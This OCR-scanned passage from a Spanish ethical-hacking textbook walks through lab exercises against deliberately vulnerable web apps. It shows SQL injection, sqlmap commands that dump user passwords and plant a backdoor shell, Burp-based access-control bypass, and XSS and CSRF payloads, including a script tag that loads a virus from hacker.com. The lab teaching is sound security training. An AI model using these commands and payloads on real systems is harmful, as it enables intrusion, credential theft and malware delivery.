8d3533475a3e2c3966d7e0d4fcc69216b 


Vulnerability: SQL Injection 


,concat(first name,0x0a, password) from userse 


,concatífirst nane,0x0a, password) from usersa 


,concatífirst name,0x0a, password) from usersë 


Figura 6.24 Claves de usuarios hackeadas 


Parece que estas claves son MD5, las cuales son fáciles de hackear. Si colocas 
en el buscador de Google las claves, seguramente encontrarás la descifrada; por 
ejemplo, la de admin es admin y la de Gordon es abc123. 


En la inyecciones SQL previas usamos el carácter ascii 0x0a que significa 
nueva línea. A continuación, mostramos una tabla con los caracteres ascii más 
frecuentemente usados: 
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Tabla 6.1 Códigos ascii más usados 


Significado 
(nul) 
(ht) Tabulación horizontal 
(nl) Nueva línea 
(vt) Tabulación vertical 
(cr) Retorno de carro 
(sp) Espacio 
(0) 
A 0101 0x41 A mayúscula 
a 97 0141 | 0x61 a minúscula 


LABORATORIO 611 Exploit: inyección SQL 


En este ejercicio de laboratorio se “pirateará” la aplicación LbWAPP (otra de las 
aplicaciones vulnerables) es una de código abierto intencionalmente insegura, 


llena de errores. 


Abre la aplicación y selecciona SQL Injection (Search/GET) a la derecha 
e intenta hackear igual que con la aplicación dvwa del laboratorio previo. El 


resultado debe aparecer como sigue: 


Ra Choose your pag: E 
Bi A 
Set your Ly E 


ion +. Set | Current: low 


an extremely buggy web app ! 


Bugs Change Password Create User Set Security Level Reset Credits Blog 


/ SQL on (Search/GET) / 


Search 


Title Releaso Character Genre IMDb 


Retañat 201 bra mander acti Link 


Figura 6.25 Inyecciones SQL en LWAPP 
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6.5 + Irrupción en la autenticación y la sesión 


La autenticación y las funciones de sesión implementadas de forma incorrecta en una 
aplicación permiten que un pirata informático robe contraseñas, etiquetas (tokens) de 
sesión y claves utilizando la creación de código entre sitios (cross-site scripting) XSS. 


Las funciones de cierre de sesión y administración de contraseñas son vulnerables a la 
pérdida de autenticación y gestión de sesiones. Esto puede suceder cuando: 


Los datos del usuario no están encriptados 

Los datos del usuario son fáciles de adivinar 

Los ID de sesión son visibles en las URL 

Las etiquetas (tokens) de sesión y las ID son vulnerables a los ataques XSS 


+ è . e. 


LABORATORIO 6412 Exploit: Irrupción en la autenticación y la sesión A 


En este ejercicio practicarás con el escáner ZAP. El objetivo es analizar las cookies 
de autenticación y sesión de un usuario. Haz esto con los siguientes pasos: 


+ Navega en http://192168.56.3/bodgeit. 
+ Inicia ZAP y abre la pestaña Sitios 


Sesión sin Nombre - OWASP ZAP 2.7.0 Q090 
Archivo Editar Yer Analizar Reporte Herramientas Online Ayuda 


[Modo estándar) |) G dene 2128 oga DOO Ads, 60D» 0OXW ml 


[ 66 sitios | + | [ai Inicio Rápido. 1. | => Petición | Respuesta+= | + | 
Bienvenido al OWASP Zed Attack P 


Y Æ Contexts 


ŒE Default Context ZAP es una herramienta para pruebas de penetración, de fácil uso y con múl 
Sitios 


> E * bodgelt plicación rápidamente, introduzca la UR 


F http://detectpo 4 Spider ... 
include in Context A Activar Escaneo... 


y” Sitio de navegación predefinida 
(Z Historia | “, Buscar | FU Alertas Salida | X% SpiderlAraña) + x | + | 
$... Progreso: |0: http://192.168.56.3/bodgeit ~j ll E Y Escaneo actual:O URLsFound:129 Nodes Added:58 Č 


[URLs vulnerables | Added Nodes | Messages | 5 d 


Flag as Context 


- 


Processed Método URI Flags B 
z POST http://192.168.56.3/bodgeit/basket.jsp à 
v POST http://192.168.56.3/bod4geit/basket.jsp 
> POST http://192.168.56.3/bodgeit/basket.jsp 


Figura 6.26 Spider en ZAP 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 


Â Alfaomega 


Â Alfaomega 


6.5 Irrupción en la autenticación y la sesión 


Paso 1 Haz clic derecho en bodgeit 
Paso 2 En el menú de contexto haz clic en Atacar 


Paso 3 Haz clic en Spider 


Puedes ver el resultado abajo en la pestaña Spider. Estos son todos los archivos 
de la aplicación hilados por el spider: 


> m MH images A A td adelaida en | 
A| [Firefox/39.0 5 
Pragra: no-cache 

Cache-Control: no-cache 

Content-Type: application/x-www-form-urlencoded 
Content-Length: 25 

Referer: http://192.168.56.3/bodgeit/login. jsp 

Host: 192.168.56.3 

Cookie: b_id=2: JSESSIONTO=93072FCC2C7OICAFFO90B2F45114513E 


P 44 GET:login.jsp 


Pu 44 GET:product.jsplprodid) 
P # GET:product.jsp(typeid) 
P # GET:register.jsp 

Po # POST:register.jspipassword 1 
| Fu # GET:score.jsp 

Pu # GET:search.jsp 

fo 4 GET:search.jsp(q) 

P 4 GET:style.css 


username-2AP password=2AP 


Figura 6.27 Petición en ZAP 
Paso 1 Selecciona POST:login.jsp(password,username) en la pestaña Sitios 


Paso 2 En el lado derecho, abre la pestaña Petición. Verás el Header 
(Encabezado) y los parámetros del código de inicio de sesión. 


Al hacer clic en la pestaña Respuesta, verás el Header (Encabezado) de la respues- 
ta con la cookie de sesión y a continuación los códigos HTML de la misma. 


>] 


HTTP/1.1 200 OK 

Date: Wed, 21 Feb 2018 11:53:18 GMT 
F # GET:login.jsp Server: Apache-Coyote/1.1 
x Content-Type: text/html 

Content-Length: 2512 
fa # GET:product jsplprodid) Via: 1.1 127.0.1.1. Ki 
Fa # GET:product.jspltypeld) DOCTYPE it: pidt T m S a i Ta] 
Fa # GET:register.jsp <htal> i l i 

<head> 


Fa # POST:rogistor.jspipassword1 


<title>The Bodgelt Store</title> 
<link href="style.css* rel="stylesheet" type="text/css" /> 


___ M # GET:score jsp 


1 # GET:search.jsp | <script type="text/Javascript” src="./Js/util.js"></script> 
head: 
Po 4 GET:soarch.jsp(q) pb 


F # GET:style.css 
y <center> 


AA g| [<table w1dth="80r" class="border"> > 


Figura 6.28 Respuesta en ZAP 
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Regresa a la pestaña Sites (Sitios) 


Í 6 Sitios | +) i| y Inicio Rápido | + Petición l Respuestai= | r | 
G 


eog 


Header: Vista Raw |w) |CuerpovistaRaw 1) OG 
e e Al [POST http://192.168.56.3/bodge1t/login.jsp HTTP/1.1 
Pa GET:login.jsp User-Agent: Mozilla/5.0 (Windows NT 6.3: WOW64: rv:39.0) Gecko/20100101 
Firefox/39.0 


> 


Atacar 
include in Context 
Flag as Context 

Fa # GET:register.jsp Ejecutar aplicación 

Fa # POST:register.jsplf Exclude from Context 
MOET: store jp Reenviar... 
Fo # GET:search.jsp 


, Petición | Respuesta | 
h Método jw) | Header: Vista Raw |w) | Cuerpo:Vista Raw ¡ej OG O 9007 v SEND 


Fu # GET:product.jsplpi 
Fa 44 GET:product.jepl 


-form-urlencoded 


bodgeit/login.jsp 
D72FCC2C703CBFF09082F45114513E ' 


BAADA] 


Proxy 2 
Editor Manual de Peticiones oc0o00 


= Historia OST ħttp://192.168.56.3/bodgeit/login.jsp HTTP/1.1 a 
= User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 A 
Pragma: no-cache 
4# Nuevo *Cache-Control: no-cache 
| URLS vulne h Content-Type: application/x-www-torm-urlencoded 
HAS Content-Length: 25 
Processed Referer: http://192.168,56.3/bodge1t/login.)sp 
F Cookie: b_id=2; JSESSIONIO=93072FCC2C7D3CBFF09082F45114513E 4 
Host: 192.168.56.3 
" 


0000 


username=7AP- password=PAZ (3) 


Figura 6.29 Reenviar petición 


P 
p 


Paso 1 Haz clic con el botón derecho en el archivo POST:login. 
jsp(password,username) 


Paso 2 Selecciona Reenviar desde el menú del contexto 


Paso 3 En la ventana Editor Manual de Peticiones y la pestaña Petición, cambia la 
contraseña de ZAP a PAZ 


Paso 4 Haz clic en SEND (Enviar) 


Abre la pestaña Respuesta para ver si se ha abierto el inicio de sesión y si el 
código de respuesta es http/1.1 200 OK. Si está abierto, has irrumpido en la 
autenticación y la sesión. 


6.6 + Cross Site Scripting (XSS) Scripting 


de sitio cruzado 


Una irrupción XSS es cuando una aplicación acepta datos de entrada no confiables en 
una de sus páginas web sin validación alguna. Esto hace posible que un hacker ejecute 
JavaScripts en el navegador de un usuario de la aplicación. 
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6.6.1 Escáner automático 
Realiza un nuevo escaneo con Wapiti de la siguiente manera: 


rootékali:-% wapiti http://192.168.56.101/peruggia/ -o resultado2 
-f html -m “-blindsql” 


# wapiti http://192.168.56.101/peruggia/ 
Oups! No translations found for your 
anslations for improv 


2.3.0 (wapiti.sourceforge.ne 


scan has been saved i ile /root/.wapiti/scans/192.168.56.101.xml 
> it to perform attacks without scanning agai he web site with the 


rameter 
[*] Loading modules: 
mod crlf, mod exec, mod file, mod sal, mod xss, mod backup, mod htaccess, 


Figura 6.30 Pantalla del escaneo con Wapiti 
Abre el resultado del escaneo con tu navegador como se ve a continuación: 
file: ///root/resultado2/index.html 


Con esto, hemos determinado la ubicación en sí. El resultado aparece como sigue: 


Summary 
Category Number of vulnerabilities found 
g 12 
Htaccess Bypass o 
Backup file 0 
SQL Injecton 0 
Blind SQL Injection 0 
g 5 
Potentially dangerous file 0 
CRLF Injection 0 


Figura 6.31 Escaneo con Wapiti 


Leemos que se han encontrado 12 vulnerabilidades cross-site scripting (scripting de 
sitio cruzado). 
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LABORATORIO 613 Exploit: Cross-Site Scripting (Scripting de sitio cruzado) ___ 2 
En este ejercicio ejecutas un ataque XSS manualmente en la aplicación Peruggia. 


Con http://192.168.56.3/peruggia/ obtenemos la aplicación dentro de 
OWASP-BWA. 


Abre la aplicación Peruggia desde tu navegador. 
Inyecta el siguiente JavaScript en la página Add Comment (Agregar comentario): 


<script>alert(“XXS Scripting”);</script> 


Figura 6.32 Ataque XSS 


Teclea el código y haz clic en Post (Publicar). El resultado de este script de sitio 
cruzado es que cada vez que alguien mira la imagen, se muestra un cuadro de 
alerta limpio con el texto XSS Scripting. Ve por ejemplo a la página About. Regresa 
después a la página Home y aparecerá cada vez la ventana de alerta JavaScript. 


En este tipo de aplicaciones no protegidas los hackers pueden inyectar 
fácilmente un enlace a un virus malicioso de la siguiente manera: 


< script src= “http://hacker.com/install-virus.js”> </script > 


Luego, cada vez que alguien ve la imagen se instalará un virus en su 
computadora. 
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LABORATORIO 614 La aplicación OWASP Web Goat 1 
En este ejercicio practicamos con la aplicación Web Goat. 
Inicia una sesión con nombre de usuario: webgoat y clave: webgoat. 
Selecciona Reflected XSS Attacks (Ataques XSS reflejados). 
Busca manualmente los campos de entrada vulnerables a ataques XSS. 


Inserta un JavaScript. 


e 7 
6.7 + Irrupción en el control de acceso 
Ocurre una irrupción del control de acceso cuando no mantenemos restricciones sufi- 
cientemente severas. Los hackers pueden hacer un mal uso de esto para obtener acceso 


no autorizado a la funcionalidad de la aplicación, lo cual logran, por ejemplo, escalando a 
los privilegios del administrador de la misma. 


6.7.1 Privilege escalation attack (Ataque de escalada de privilegios) 


Un ataque de escalada de privilegios puede ocurrir a través de cookies, inyecciones SQL 
o solicitud de URI: 


+ Cookies: Al buscar etiquetas (tokens) de autorización en el navegador y cambiar el 
valor de las cookies 


+ Inyecciones SQL: Al intentar iniciar una sesión con inyecciones SQL a través de 
códigos de inicio de sesión 


+ Solicitud URI: Mediante una solicitud URI como sigue: 
/[path./[página].[extensión]?[variable]=[valor] 
Por ejemplo: 
/www/tarea.php?usuario=101 
Esto se estudia con más detalle en el Laboratorio 6.15. 


Fuzzing de parámetros 


Al jugar con los parámetros (fuzzing de parámetros) podemos terminar en otra área de la 
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aplicación, por ejemplo, en las páginas del administrador. El jugar con el parámetro ID del 
usuario también puede conducir a una escalada de privilegios mediante la cual obtene- 
mos los del administrador. Fuzzing es una manera de detectar fallas a través de pruebas 
automatizadas. Por ejemplo: 


/get/FUZZ/FUZZ/parámetro=FUZZ 


LABORATORIO 615 Exploit: irrupción en el control de acceso A 


En este ejercicio de laboratorio, practicarás con el fuzzing de parámetros 
y con Burp. 


Inicia Burp e inicia la aplicación WackoPicko en tu navegador. Inicia Burp Spider 
en la aplicación WackoPicko. Vemos en la pestaña Target | Site map (Objetivo | 
Carpeta del sitio) que ahí se encuentra la carpeta admin. 


[Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alers 
Stema | scope | 


Fiter: Hidng not found tems; hidng CSS, image and general binary content; hiding 4xx responses; hiding empty folders t) 


= = : 
lr veo A [Host | Method | URL Params | Sta.. á| Lenth | MIME type | Tk 
vE adri httpx//192168.56.101 GET MackoPickoladmní.. 20 813 tet | 
D7 
S, -e a A, L 
[ E index php l | 
> © calendar.pho Request 
>D css 
> © error.php Ram | Params | Headers | Hex | 
> © guestbook php GET MeckoPicko/ednin/andex. php?pege- login HTTP/L. 1 à 
> images Host: 192.168. 56. 101 
D parecheck php Accept: "/* Send to Spider 
> E pictures Accept -Language: en 
D tosphp User-Agent: Mozilla/5.0 (comatible; MS; ET 
>E upload Trident /5. 0) A passive scan 
»E Cormection: close 
dba AN Send to Intruder 3 
PA Cookie: security_level=0; JSESSIONID=04 Send toRepester Ct4+R 
p ~ nai » PHPSESSID" gl khqblf78akesfgarcnosslg2; bj SendtoSequencer 
e d5sabd28%23244Zac 8eb2c0fe589e0=hcpuldİ send to Comparer 
L WAP? phpob2owaspbwa_datar 3ADWIAM2Z027438, ad GData 
> M DWAPP phpbb2owaspbwa_sid=c04d3f3174330c2e1163 SARER Y 
» D bodget Show response in browser 
"pens lia e CJ LEA) (2) | rs aseri] Requestin browser p pres 


Figura 6.33 El intruso en Burp 
Paso 1 Selecciona el código index.php en la carpeta admin 


Paso 2 Haz clic con el botón derecho abajo, en la pestaña Request | Raw 
(Solicitud | Sin formato) 


Paso 3 Selecciona Send to Intruder (Enviar a intruso) en el menú del contexto 


La solicitud ahora está en Intruder (Intruso), desde donde podemos realizar el 
fuzzing de parámetros: 
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Burp Suite Free Edition v1.7.21 - Temporary Project 000 
Burp Intruder Repester Window Help 


(Target | Prony | Spider | scanner | intruder MAI) | Secuencer | Decoder | comparer | Extender | Project options | User options | Alerts | 
[Erna 


| (From | posters] rayioacs | optons ) (MY 


B Payload Positions 


GET /WackoPicko/admin/index. php?page»Sloging HITP/1.1 
Host: 192 168 56 101 


en 
¡ Win64; x64; Trident/5, 0) 


carenesslod. b id- E695: security=5low%: 
a324d2ac98eb2c 0f eseb9eo §hepuldkt6fqnucoiohgg3mapvóş , 
phobb2owaspbwa_dat a= S63A0N3ANZA224385, phpbb2owaspbwa_ sid: §c04daf317d330c201163bd4576bbfő65, 


PHESESSTO= Fal 
d5a4bd280: 


Figura 6.34 Datos de carga (payload) 
Paso 1 Ve a la pestaña Intruder (Intruso) 
Paso 2 Ve a la pestaña Positions (Posiciones) 
Aquí vemos todas las posiciones con los parámetros en la solicitud GET 
Paso 3 Sólo se pretende reemplazar el parámetro page =. Haz clic en el botón 
Clear (Borrar) a la derecha. A continuación, haz clic en el primer parámetro page = 


login y luego en el botón Add (Agregar) 


Burp Suite Free Edition v1.7.21 - Temporary Project 0o09 
aup. Jotruder Rapeiter Mindon, Heb, 


Target T m Scanner | Intruder | Repeater | Sequencer Decoder | Comparer | Extender | Projectoptions | User options | Alerts 
(> = Jamal | 
target | Positions | Payioada:[ Options | 


> O ` al 
@ Payload Sets Start attack 


€] Payload Options [Simple list] 
This payload type lets you configure a simple ist of strings that are used as payloads. 


Figura 6.35 Agregar datos de carga 
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En el siguiente paso, declaramos los posibles nombres de página bajo admin. 
Hacemos esto en la pestaña Payloads (datos de carga): 


Paso 1 Teclea un número de posibles nombres de página y haz clic en Add (Agregar) 


Paso 2 Haz clic en Start attack (Iniciar ataque) 


Aparece la siguiente ventana Intruder attack (ataque del intruso): 


Intruder attack 1 © © o) 


Send to Spider 


Do an active scai 
Doa e scan 
Send to Repeater 
d to Repeater R 


Send to Sequencer 


GET /WackoPicko/admin/index. php? page=home HTTP/1, 
Host: 192. 168. 56. 101] 
Accept: */* 

Accept -Language: en 
User-Agent: Mozilla/5.0 (compatible; WSIE 9.0; Wi sN 
Connection: close 

Referer: http: //192. 168. 56. 101/WackoPicko/ 
Cookie: security_level=0, PHPSESSID=3q6kf19123cict4j0030 
acgroupswithpersist=nada 


Finished 


Send to Comparer 
Send to Decoder 
Show response in browser 


Request in browser 


tdnine H 


Figura 6.36 El repetidor de Burp 


Paso 1 Haz clic en la pestaña Results (Resultados) en la ventana Intruder attack 
(Ataque del intruso) 


Paso 2 Vemos que se le ha asignado un estado 303 al dato de carga home (303 
es el código para una redirección). Haz clic aquí 


Paso 3 Haz clic abajo, en la pestaña Request | Raw (Solicitud | Sin formato) a 
la derecha y selecciona Send to repeater (Enviar al repetidor) en el menú 
del contexto 


En Repeater (Repetidor) podemos volver a enviar una Solicitud (Request) 
modificada (repasar). Observa la siguiente figura: 
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Burp Suite Free Edition v1.7.21 - Temporary Project 000 
Buwp Intruder Repeater Window Hep 


Target: http://192.168.56.101 14) 2) 


Request Response 


Pam | Params | Headers | nex ] ¿pam | Headers | Hex | 


GET /WackoPicko/admin/index.php?page=home HTTP/1. 1 
Host: 192 168 56. 101 


Sendto Spider 


Accept -Language: en PHP/S.] Do an active sear 


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; proxy. 

Min64; x64; Trident/5. 0) mod saj 994 passe scan p.38 

Connection: close mod_pe] Sendto intruder Ctrl 

Referer: http: //192. 168, 56. 101/M3ckoPicko/ X-Powel Sendto Repeater CtrhHR 

Cookie: security level-0; Locatii PEER 

PHPSESSID 3q6kf19i23cict4jo0j0ing357; Vary Payna 

acopendivide=swingset,jotto, phpbb2, redmine X Sendto Comparer y 
> — Sendto Decoder | 


? < [to] > Type a search term O matches 


Done 


Show response in browser 
Request in browser d jes | 46 miks 


Figura 6.37 Muestra de respuesta en navegador 
Paso 1 Haz clic en el botón Go (Ir) en la pestaña Repeater (Repetidor) 


Paso 2 Haz clic derecho en Response (Respuesta). Selecciona Muestre la 
respuesta en el navegador (Show response in browser), en el menú del contexto 


En el navegador, busca page = home y accede a la página admin sin iniciar 
sesión como administrador. 


Mozilla Firefox 0o00 
Y WackoPicko.com xj Y htp://192..page=home x | e 
€)» © 192.168,56.101/WackoPicko/ade x hor C | Æ [Q Search O OO 4 A 


E Most Visited e Offensive Security Ñ Kali Linue “Kali Docs Ñ Kali Toois RJExploit-DB W Aircrack-ng 


| Welcome to the awesome admin panel admin 


Create a new user! 


Figura 6.38 Escalada de privilegios 
“Bienvenido al asombroso admin del panel admin” 


¡Crea un nuevo usuario! Haz irrumpido el control de acceso. 
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6.8 + Configuración insegura 


Las aplicaciones, marcos, servidores y los de bases de datos configurados incorrecta- 
mente hacen posible que los hackers hagan mal uso de ellos. Para determinar si la aplica- 
ción se ha configurado de manera segura, escanearemos (automáticamente) la respues- 
ta. Por ello repetimos el Laboratorio 641. 


LABORATORIO 616 Exploit: Configuración insegura 2 
Realiza los siguientes escaneos. 
Escanea para buscar puertos abiertos: 
root@kali:~# nmap 192.168.56.3 
Escanea para buscar servicios [-sV]: 
root@kali:~# nmap -sV 192.168.56.3 
Escanea para buscar el sistema operativo OS [-O]: 
root@kali:~# nmap -0 192.168.56.3 
Escanea con el código de la aplicación web Firewall WAF [-- script = http-waf-detect] 
root@kali:~# nmap -p 80,443 --script http-waf-detect 192.168.56.3 


Escanea para buscar la huella digital (dispositivo) del firewall [-- script = http-waf- 
fi ngerprint] 


root@kali:~# nmap -p 80,443 --script http-waf-fingerprint 192.168.56.3 


Enseguida ejecutamos un escaneo con SQLMAP. Con esta herramienta podemos 
analizar configuraciones incorrectas del servidor. SQLMAP necesita saber un pun- 
to de inyección SQL para poder llevar a cabo el escaneo. La aplicación owaspbric- 
ks tiene un punto vulnerable a inyecciones SQL. Arranca el siguiente escaneo para 
detectar vulnerabilidades de OS SHELL. 


root@kali:~# sqlmap -u http://192.168.56.3/owaspbricks/content-1/ 


index.php? id=0 
--os-shell 
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A continuación se prueba si el servidor tiene un directorio “escribible” donde 
podemos subir y arrancar una terminal o shell de sistema operativo. Pasamos la 
prueba si vemos el siguiente mensaje: 


[WARNING] unable to upload the file stager 


LABORATORIO 617 Exploit: Configuración insegura 2 


En este ejercicio se controlará la configuración de la base de datos de la 
aplicación OWASP wackopicko para verificar si es segura. Controla manualmente 
la existencia de cuentas del administrador con nombres de usuario y claves 
por omisión. 


6.9 + Exposición de datos sensibles 

Los datos personales y la información financiera y médica deben protegerse de forma 
adicional con el uso de la encriptación. La exposición de datos sensibles (datos confiden- 
ciales) permite a los delincuentes destruir o robar información de alta importancia. 
LABORATORIO 648 Exploit: Exposición de datos sensibles 2 


En este ejercicio se necesita la aplicación DVWA, Burp y SQLMAP. 


Inicia la aplicación DVWA. 

Nombre del usuario (Username): admin 

Contraseña (Password): admin 

Ve a DVWA Security (Seguridad DVWA) y selecciona Low (Bajo). 


Ve a SQL Injection (Inyección SQL) y teclea en User ID (ID del usuario): 1 sin hacer 
clic en Submit (Enviar). 
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jā | Vulnerability: SQL Injection 


Command Execution More info 


Figura 6.39 Punto de inyección en DVWA 


Inicia Burp: 


Burp Suite Free Edition v1.7.21 - Temporary Project e090 


4 
t: 192.163. 56.101 AN 
ser-Agent: Mozilla/5. 0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 
Mecapt: text/html, application/xhtml+xal , appl ication/xel ; 20. 9,*/%: 0.8 
ccept -Language: en-US, en; q.0.5 
Ferer: http: //192 162.56. 101/dvea/vul nerabilitios/sal i/ 
cookie: security=low; security_level=0; PHPSESSID=1cqd28qabvmlal r40ppSdsa6b6; acopendivids=swings?, redmine; 
pegroupswithpersist=nada 
Konnection: close Ye 


Figura 6.40 Intercepción con proxy en Burp 
Paso 1 Ve a la pestaña Proxy 
Paso 2 Ve a la pestaña Intercept (Interceptar) 
Paso 3 Haz clic en el botón Intercept (para activar el nuevo interceptor) 
Regresa a DVWA y envía la solicitud de SQL 
La solicitud GET se intercepta con el proxy Burp. Hemos captado la información 


del cookie y de la ID de sesión que en tu caso será distinta. En el siguiente paso 
usamos esta información. 
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Paso 4 Abre SQLMAP, que se encuentra en el menú de Kali Linux Applications 
| Database Assessment (Aplicaciones | Evaluación de base de datos). Ejecuta el 
siguiente comando: 


root@kali:~# sqlmap -u “http://192.168.56.3/dvwa/vulnerabilities/ 
sqli/?1d=18Submit=SubmitH” --cookie="security=low; 
PHPSESSID=1cqd28qabvmlqlr40pp5dsa6b6; security_level=0” --dbs 


En el resultado encontramos el nombre de la base de datos dvwa: 


29:52] [INFO] the back-end DBMS is MySQL 
er operating 1 Linux Ubuntu 10.04 (Lucid Lynx) 
web application tect Logy: PHP 5.3.2, Apache 2.2.14 


back-end DBMS: MySQL 5 


Figura 6.41 Sistema de administración de base de datos (dbms) 
Paso 5 Realiza la siguiente inyección SQL con la herramienta SQLMAP: 
root@kali:~# sqlmap -u “http://192.168.56.3/dvwa/vulnerabilities/ 
sql1/?1d=18Submit=SubmitH” 


--cookie="security=lLow; PHPSESSID=lcgqd28qabvmlqlr40pp5dsa6b6; 
security_level=0” --fingerprint 


[09:48:29] [INFO] the back-end DBMS is MySQL 


web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) 
web application technology: PHP 5.3.2, Apache 2.2.14 


back-end DBMS: active fingerprint: MySQL >= 5.1.12 and < 5.5.0 
comment injection fingerprint: MySQL 5.1.41 


shutting down at 09:48:29 


a | 
Figura 6.42 Huella digital de MySQL 
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El resultado es la huella digital de MySQL. Toda la información de la instrucción 
SQLMAP se mantiene en el archivo log.txt en la carpeta /root/.sqlmap/ output / 
192.168.56.3. 


Paso 6 Realiza la siguiente inyección SQL para identificar las tablas en la base 
de datos: 


root@kali:~# sqlmap -u “http://192.168.56.101/dwwa/vulnerabilities/ 
sqli/?1d=18Submit=SubmitH” --cookie="security=low; 
PHPSESSID=1cqd28qabvmlqlr40pp5dsa6b6; security_level=0” --tables 


El resultado muestra las tablas en la base de datos: 


Databas 
[2 tables] 


guestbook 


Database: information schema 
[28 tables] 


Figura 6.43 Tablas en la base de datos 


El nombre de la base de datos es dvwa y tiene dos tablas: guestbook (libro de 
invitados) y users (usuarios). 


LABORATORIO 619 Aplicación OWASP Bricks 2 


En este ejercicio harás pruebas de penetración en la aplicación Bricks de OWASP. 
Intenta buscar toda la información posible de la base de datos, tal como nombre, 
tablas, nombres de usuarios y claves. 


Paso 1 Analiza Bricks con uno de los siguientes escáneres: Vega, Skipfish o Nikto. 


Paso 2 Busca con la herramienta SQLMAP en sistema de administración de base 
de datos de la aplicación como sigue. Ojo, utilizamos dbs en vez de dbms: 


root@kali:~# sqlmap -u http://192.168.56.3/owaspbricks/login-1/ 
?7username=?x? 
--banner --dbs --forms --threads 2 --risk 2 --level 2 


En SQLMAP extraemos información usando dos guiones, por ejemplo --dbs. 


¿Cuáles puntos de inyección se encontraron? 
¿Cuál es el dbms? 
¿Cuál es la base de datos? 
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Paso 3 En este paso usamos la información del punto anterior: 


Punto de inyección: username 
Dbms: mysql 
Base de datos: bricks 


En SQLMAP proveemos la información conocida usando un guión, por ejemplo -D 
bricks. Ahora, buscamos los nombres de las tablas con --tables: 


root@kali:~# sqlmap -u http://192.168.56.3/owaspbricks/login- 
1/?username=‘x’ --dbms=mysql -D bricks --forms --tables --threads 2 


¿Cuáles son los nombres de las tablas? 


Paso 4 En el resultado anterior vemos que el nombre de la tabla es users. En 
el siguiente escaneo proveemos esta información así: -T users. Extraemos los 
nombres de las columnas así: --columns. 


root@kali:~# sqlmap -u http://192.168.56.3/owaspbricks/login- 
1/?username=*x” --dbms=mysql -D bricks --forms -T users --columns 
--threads 2 


Paso 5 En el paso anterior vemos que las columnas son: 


email 
host 
idusers 
lang 
name 
password 
ref 

ua 


En este paso usamos la información obtenida para buscar los nombres de 
los usuarios y sus claves. Proveemos las columnas que deseamos ver así: -C 
email,name,password y pedimos el contenido usando --dump. 
rootékali:-%* sqlmap -u http://192.168.56.3/owaspbricks/login-1/ 
--dbms=mysql --forms -D bricks -T users 


-C email,name, password --dump --threads 2 


Pide a SQLMAP que descifre las claves cifradas. El resultado será como se ve: 
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Figura 6.44 Claves descifradas 


LABORATORIO 6.20 La aplicación DVWA de OWASP 2 


Paso 1 Efectúa un escaneo de la aplicación DVWA para buscar un punto de 
inyección 


Paso 2 Efectúa los escaneos necesarios para descifrar las claves de los usuarios 
en la base de datos. 


6.10 + Insuficiente protección de un ataque 
La protección completa contra ataques significa más que validar la entrada de datos; se 


trata también de detección, el inicio de sesión, la reacción y, si es posible, el bloqueo 
(preventivo) de los ataques. 


LABORATORIO 6.21 Exploit: insuficiente protección de ataque À 


En este ejercicio tratamos de instalar una puerta trasera en la aplicación DVWA. 


Paso 1 Teclea el siguiente comando para instalar una puerta trasera y un shell del 
sistema operativo (OS): 


root@kali:~# sqlmap -u “http://192.168.56.101/dwwa/vulnerabilities/ 
sqli/?id=1&Submit=Submit#” --cookie=“security=low; 
PHPSESSID=1cqd28qabvmlqlr40pp5dsa6b6; security_level=0” -D dvwa 
--os-shell 
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Puedes ver el proceso a continuación: 


server operating system: Linux Ubuntu 10.94 (Lucid Lynx) 
F ation technology: PHP 5.3.2, Apache 2.2.14 
back-end DBMS: 


MySQL 5 


which web application language does the web server support? 

[1] ASP 

[2] ASPX 

[3] JSP 

[4] PHP (default) 

> ¿4 

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y 

you provided a HTTP Cookie header value. The target URL provided its own cookies with 


n the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in 
further requests? [Y/n] Y 


what do you want to use for writable directory? 

[1] common location(s) ('/var/www/, /var/wwm/html, /usr/local/apache2/htdocs, /var/ 
/nginx-default, /srv/www'*) (default) 

[2] custom location(s) 

[3] custom directory list file 

[4] brute force search 

> 4 


Figura 6.45 Proceso de instalación de puerta trasera 


Teclea 4 para PHP y 4 para fuerza bruta. El resultado depende del servidor web, 
por ejemplo, los servidores Linux son más seguros que los de Windows. Cuando 
hayas creado la puerta trasera, verás el siguiente resultado: 


Figura 6.46 Resultado de instalación de puerta trasera 


El clasificador de archivos se ha cargado y aparece el indicador del shell del 
sistema operativo (OS). El clasificador de archivos es para cargar a los mismos 
como en la figura 6.47. 


Paso 2 Comprueba si la puerta trasera se ha cargado navegando en 
http://192.168.0.3/tmpunais.php. Si obtienes la siguiente figura, has instalado 
correctamente una puerta trasera y puedes cargar archivos y ejecutarlos con el 
shell del sistema operativo (OS): 
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> 


192.168.0.102 a é >» 


admin admin 
sqlmap file uploader 


Browse... | No file selected. 


to directory: xamppihtdocs! upload | 


Figura 6.47 Puerta trasera para cargar archivos 


6.11 +» Cross-Site Request Forgery (CSRE) 


Falsificación de peticiones en sitios cruzados 


Se es víctima de una falsificación de peticiones en sitios cruzados (CSRF) cuando un 
pirata informático obliga a tu navegador a reenviar una solicitud HTTP falsificada con tu 
autenticación e información de sesión a otro sitio web vulnerable, éste cree que hiciste 
la solicitud. Esto sucede sin que te des cuenta. El resultado de un CSRF es un cambio de 
estado, algo se modifica en el sistema y no puedes ver el resultado. Ejemplos de cambios 
de estado son transferir dinero o cambiar una contraseña. 
¿Cómo se realiza un CSRF? 
Se puede agregar un ataque CSRF a una página web o a un correo electrónico, cuando el 
usuario abre cualquiera de los dos, se ejecuta la solicitud falsificada del pirata informático. 
Las formas más comunes de un CSRF son a través de un IMG SRC, por ejemplo: 

<img src=“"http://host/?commando”> 
O através de un SCRIPT SRC, por ejemplo: 

<script src="http://host/?commando”> 


O através de un IFRAME SRC, por ejemplo: 


<iframe src="http://host/?commando”> 
LABORATORIO 6.22 Exploit: Cross Site Request Forgery (CSRF) 2 


En este ejercicio de laboratorio simulamos un ejemplo de CSRF. Esto lo hacemos 
en los siguientes pasos: 
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Paso 1 Interceptamos a un usuario con una conexión viva y el banco donde 
ejecuta una transacción de depósito. 


Paso 2 Creamos y le enviamos el siguiente script como una representación falsa 
del verdadero script del banco, por ejemplo: 


<html> 

<head> 
